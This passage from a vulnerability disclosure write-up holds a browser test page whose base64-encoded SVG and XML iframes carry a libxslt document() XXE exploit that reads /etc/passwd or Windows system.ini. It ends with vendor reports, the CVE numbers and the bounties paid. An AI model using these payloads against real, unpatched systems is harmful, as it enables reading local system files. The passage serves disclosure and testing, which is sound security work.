<title>LibXSLT document() XXE tests</title>
</head>
<body>
SVG<br/>
<iframe src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTp0ZXh0L3htbDtiYXNlNjQsUEhoemJEcHpkSGxzWlhOb1pXVjBJSFpsY25OcGIyNDlJakV1TUNJZ2VHMXNibk02ZUhOc1BTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDFoVFRDOVVjbUZ1YzJadmNtMGlJSGh0Ykc1ek9uVnpaWEk5SW1oMGRIQTZMeTl0ZVdOdmJYQmhibmt1WTI5dEwyMTVibUZ0WlhOd1lXTmxJajRLUEhoemJEcHZkWFJ3ZFhRZ2JXVjBhRzlrUFNKNGJXd2lMejRLUEhoemJEcDBaVzF3YkdGMFpTQnRZWFJqYUQwaUx5SStDanh6ZG1jZ2VHMXNibk05SW1oMGRIQTZMeTkzZDNjdWR6TXViM0puTHpJd01EQXZjM1puSWo0S1BHWnZjbVZwWjI1UFltcGxZM1FnZDJsa2RHZzlJak13TUNJZ2FHVnBaMmgwUFNJMk1EQWlQZ284WkdsMklIaHRiRzV6UFNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk4eE9UazVMM2hvZEcxc0lqNEtUR2xpY21GeWVUb2dQSGh6YkRwMllXeDFaUzF2WmlCelpXeGxZM1E5SW5ONWMzUmxiUzF3Y205d1pYSjBlU2duZUhOc09uWmxibVJ2Y2ljcElpQXZQang0YzJ3NmRtRnNkV1V0YjJZZ2MyVnNaV04wUFNKemVYTjBaVzB0Y0hKdmNHVnlkSGtvSjNoemJEcDJaWEp6YVc5dUp5a2lJQzgrUEdKeUlDOCtJQXBNYjJOaGRHbHZiam9nUEhoemJEcDJZV3gxWlMxdlppQnpaV3hsWTNROUluVnVjR0Z5YzJWa0xXVnVkR2wwZVMxMWNta29MeW92UUd4dlkyRjBhVzl1S1NJZ0x6NGdJRHhpY2k4K0NsaFRUQ0JrYjJOMWJXVnVkQ2dwSUZoWVJUb2dDang0YzJ3NlkyOXdlUzF2WmlBZ2MyVnNaV04wUFNKa2IyTjFiV1Z1ZENnblpHRjBZVG9zSlROREpUTkdlRzFzSlRJd2RtVnljMmx2YmlVelJDVXlNakV1TUNVeU1pVXlNR1Z1WTI5a2FXNW5KVE5FSlRJeVZWUkdMVGdsTWpJbE0wWWxNMFVsTUVFbE0wTWxNakZFVDBOVVdWQkZKVEl3ZUhobEpUSXdKVFZDSlRJd0pUTkRKVEl4UlU1VVNWUlpKVEl3ZUhobEpUSXdVMWxUVkVWTkpUSXdKVEl5Wm1sc1pUb3ZMeTlsZEdNdmNHRnpjM2RrSlRJeUpUTkZKVEl3SlRWRUpUTkZKVEJCSlRORGVIaGxKVE5GSlRCQkpUSTJlSGhsSlROQ0pUQkJKVE5ESlRKR2VIaGxKVE5GSnlraUx6NEtQQzlrYVhZK0Nqd3ZabTl5WldsbmJrOWlhbVZqZEQ0S1BDOXpkbWMrQ2p3dmVITnNPblJsYlhCc1lYUmxQZ284TDNoemJEcHpkSGxzWlhOb1pXVjBQZz09Ij8+CjwhRE9DVFlQRSBzdmcgWyAgCiAgICA8IUVOVElUWSBlbnQgU1lTVEVNICI/IiBOREFUQSBhYWE+ICAgCl0+CjxzdmcgbG9jYXRpb249ImVudCIgLz4="></iframe><br/>
SVG WIN<br/>
<iframe src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTp0ZXh0L3htbDtiYXNlNjQsUEhoemJEcHpkSGxzWlhOb1pXVjBJSFpsY25OcGIyNDlJakV1TUNJZ2VHMXNibk02ZUhOc1BTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDFoVFRDOVVjbUZ1YzJadmNtMGlJSGh0Ykc1ek9uVnpaWEk5SW1oMGRIQTZMeTl0ZVdOdmJYQmhibmt1WTI5dEwyMTVibUZ0WlhOd1lXTmxJajRLUEhoemJEcHZkWFJ3ZFhRZ2JXVjBhRzlrUFNKNGJXd2lMejRLUEhoemJEcDBaVzF3YkdGMFpTQnRZWFJqYUQwaUx5SStDanh6ZG1jZ2VHMXNibk05SW1oMGRIQTZMeTkzZDNjdWR6TXViM0puTHpJd01EQXZjM1puSWo0S1BHWnZjbVZwWjI1UFltcGxZM1FnZDJsa2RHZzlJak13TUNJZ2FHVnBaMmgwUFNJMk1EQWlQZ284WkdsMklIaHRiRzV6UFNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk4eE9UazVMM2hvZEcxc0lqNEtUR2xpY21GeWVUb2dQSGh6YkRwMllXeDFaUzF2WmlCelpXeGxZM1E5SW5ONWMzUmxiUzF3Y205d1pYSjBlU2duZUhOc09uWmxibVJ2Y2ljcElpQXZQang0YzJ3NmRtRnNkV1V0YjJZZ2MyVnNaV04wUFNKemVYTjBaVzB0Y0hKdmNHVnlkSGtvSjNoemJEcDJaWEp6YVc5dUp5a2lJQzgrUEdKeUlDOCtJQXBNYjJOaGRHbHZiam9nUEhoemJEcDJZV3gxWlMxdlppQnpaV3hsWTNROUluVnVjR0Z5YzJWa0xXVnVkR2wwZVMxMWNta29MeW92UUd4dlkyRjBhVzl1S1NJZ0x6NGdJRHhpY2k4K0NsaFRUQ0JrYjJOMWJXVnVkQ2dwSUZoWVJUb2dDang0YzJ3NlkyOXdlUzF2WmlBZ2MyVnNaV04wUFNKa2IyTjFiV1Z1ZENnblpHRjBZVG9zSlROREpUTkdlRzFzSlRJd2RtVnljMmx2YmlVelJDVXlNakV1TUNVeU1pVXlNR1Z1WTI5a2FXNW5KVE5FSlRJeVZWUkdMVGdsTWpJbE0wWWxNMFVsTUVFbE0wTWxNakZFVDBOVVdWQkZKVEl3ZUhobEpUSXdKVFZDSlRJd0pUTkRKVEl4UlU1VVNWUlpKVEl3ZUhobEpUSXdVMWxUVkVWTkpUSXdKVEl5Wm1sc1pUb3ZMeTlqT2k5M2FXNWtiM2R6TDNONWMzUmxiUzVwYm1rbE1qSWxNMFVsTWpBbE5VUWxNMFVsTUVFbE0wTjRlR1VsTTBVbE1FRWxNalo0ZUdVbE0wSWxNRUVsTTBNbE1rWjRlR1VsTTBVbktTSXZQZ284TDJScGRqNEtQQzltYjNKbGFXZHVUMkpxWldOMFBnbzhMM04yWno0S1BDOTRjMnc2ZEdWdGNHeGhkR1UrQ2p3dmVITnNPbk4wZVd4bGMyaGxaWFErIj8+CjwhRE9DVFlQRSB0ZXN0MSBbICAKICAgIDwhRU5USVRZIGVudCBTWVNURU0gIj8iIE5EQVRBIGFhYT4gICAKXT4KPHRlc3QxIGxvY2F0aW9uPSJlbnQiIC8+"></iframe><br/>
XML<br/>
<iframe src="data:text/xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTp0ZXh0L3htbDtiYXNlNjQsUEhoemJEcHpkSGxzWlhOb1pXVjBJSFpsY25OcGIyNDlJakV1TUNJZ2VHMXNibk02ZUhOc1BTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDFoVFRDOVVjbUZ1YzJadmNtMGlJSGh0Ykc1ek9uVnpaWEk5SW1oMGRIQTZMeTl0ZVdOdmJYQmhibmt1WTI5dEwyMTVibUZ0WlhOd1lXTmxJajRLUEhoemJEcHZkWFJ3ZFhRZ2RIbHdaVDBpYUhSdGJDSXZQZ284ZUhOc09uUmxiWEJzWVhSbElHMWhkR05vUFNKMFpYTjBNU0krQ2p4b2RHMXNQZ3BNYVdKeVlYSjVPaUE4ZUhOc09uWmhiSFZsTFc5bUlITmxiR1ZqZEQwaWMzbHpkR1Z0TFhCeWIzQmxjblI1S0NkNGMydzZkbVZ1Wkc5eUp5a2lJQzgrUEhoemJEcDJZV3gxWlMxdlppQnpaV3hsWTNROUluTjVjM1JsYlMxd2NtOXdaWEowZVNnbmVITnNPblpsY25OcGIyNG5LU0lnTHo0OFluSWdMejRnQ2t4dlkyRjBhVzl1T2lBOGVITnNPblpoYkhWbExXOW1JSE5sYkdWamREMGlkVzV3WVhKelpXUXRaVzUwYVhSNUxYVnlhU2hBYkc5allYUnBiMjRwSWlBdlBpQWdQR0p5THo0S1dGTk1JR1J2WTNWdFpXNTBLQ2tnV0ZoRk9pQUtQSGh6YkRwamIzQjVMVzltSUNCelpXeGxZM1E5SW1SdlkzVnRaVzUwS0Nka1lYUmhPaXdsTTBNbE0wWjRiV3dsTWpCMlpYSnphVzl1SlRORUpUSXlNUzR3SlRJeUpUSXdaVzVqYjJScGJtY2xNMFFsTWpKVlZFWXRPQ1V5TWlVelJpVXpSU1V3UVNVelF5VXlNVVJQUTFSWlVFVWxNakI0ZUdVbE1qQWxOVUlsTWpBbE0wTWxNakZGVGxSSlZGa2xNakI0ZUdVbE1qQlRXVk5VUlUwbE1qQWxNakptYVd4bE9pOHZMMlYwWXk5d1lYTnpkMlFsTWpJbE0wVWxNakFsTlVRbE0wVWxNRUVsTTBONGVHVWxNMFVsTUVFbE1qWjRlR1VsTTBJbE1FRWxNME1sTWtaNGVHVWxNMFVuS1NJdlBnbzhMMmgwYld3K0Nqd3ZlSE5zT25SbGJYQnNZWFJsUGdvOEwzaHpiRHB6ZEhsc1pYTm9aV1YwUGc9PSI/Pgo8IURPQ1RZUEUgdGVzdCBbICAKICAgIDwhRU5USVRZIGVudCBTWVNURU0gIj8iIE5EQVRBIGFhYT4gICAKXT4KPHRlc3QxIGxvY2F0aW9uPSJlbnQiLz4="></iframe><br/>
XML WIN<br/>
<iframe src="data:text/xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTp0ZXh0L3htbDtiYXNlNjQsUEhoemJEcHpkSGxzWlhOb1pXVjBJSFpsY25OcGIyNDlJakV1TUNJZ2VHMXNibk02ZUhOc1BTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDFoVFRDOVVjbUZ1YzJadmNtMGlJSGh0Ykc1ek9uVnpaWEk5SW1oMGRIQTZMeTl0ZVdOdmJYQmhibmt1WTI5dEwyMTVibUZ0WlhOd1lXTmxJajRLUEhoemJEcHZkWFJ3ZFhRZ2RIbHdaVDBpYUhSdGJDSXZQZ284ZUhOc09uUmxiWEJzWVhSbElHMWhkR05vUFNKMFpYTjBNU0krQ2p4b2RHMXNQZ3BNYVdKeVlYSjVPaUE4ZUhOc09uWmhiSFZsTFc5bUlITmxiR1ZqZEQwaWMzbHpkR1Z0TFhCeWIzQmxjblI1S0NkNGMydzZkbVZ1Wkc5eUp5a2lJQzgrSmlONE1qQTdQSGh6YkRwMllXeDFaUzF2WmlCelpXeGxZM1E5SW5ONWMzUmxiUzF3Y205d1pYSjBlU2duZUhOc09uWmxjbk5wYjI0bktTSWdMejQ4WW5JZ0x6NGdDa3h2WTJGMGFXOXVPaUE4ZUhOc09uWmhiSFZsTFc5bUlITmxiR1ZqZEQwaWRXNXdZWEp6WldRdFpXNTBhWFI1TFhWeWFTaEFiRzlqWVhScGIyNHBJaUF2UGlBZ1BHSnlMejRLV0ZOTUlHUnZZM1Z0Ym1WMEtDa2dXRmhGT2lBS1BIaHpiRHBqYjNCNUxXOW1JQ0J6Wld4bFkzUTlJbVJ2WTNWdFpXNTBLQ2RrWVhSaE9pd2xNME1sTTBaNGJXd2xNakIyWlhKemFXOXVKVE5FSlRJeU1TNHdKVEl5SlRJd1pXNWpiMlJwYm1jbE0wUWxNakpWVkVZdE9DVXlNaVV6UmlVelJTVXdRU1V6UXlVeU1VUlBRMVJaVUVVbE1qQjRlR1VsTWpBbE5VSWxNakFsTTBNbE1qRkZUbFJKVkZrbE1qQjRlR1VsTWpCVFdWTlVSVTBsTWpBbE1qSm1hV3hsT2k4dkwyTTZMM2RwYm1SdmQzTXZjM2x6ZEdWdExtbHVhU1V5TWlVelJTVXlNQ1UxUkNVelJTVXdRU1V6UTNoNFpTVXpSU1V3UVNVeU5uaDRaU1V6UWlVd1FTVXpReVV5Um5oNFpTVXpSU2NwSWk4K0Nqd3ZhSFJ0YkQ0S1BDOTRjMnc2ZEdWdGNHeGhkR1UrQ2p3dmVITnNPbk4wZVd4bGMyaGxaWFErIj8+CjwhRE9DVFlQRSB0ZXN0IFsgIAogICAgPCFFTlRJVFkgZW50IFNZU1RFTSAiPyIgTkRBVEEgYWFhPiAgIApdPgo8dGVzdDEgbG9jYXRpb249ImVudCIvPg=="></iframe><br/>
</body>

ZIP archive for testing: libxslt.zip.

The Bounty

All findings were immediately reported to the vendors.

Safari

Apple implemented the sandbox patch. Assigned CVE: CVE-2023-40415. Reward: $25,000.

Chrome

Google implemented the patch and enforced security for documents loaded by the XSL’s document() function. Assigned CVE: CVE-2023-4357. Reward: $3,000.

Links

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-40415
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4357
• https://issues.chromium.org/issues/40066577

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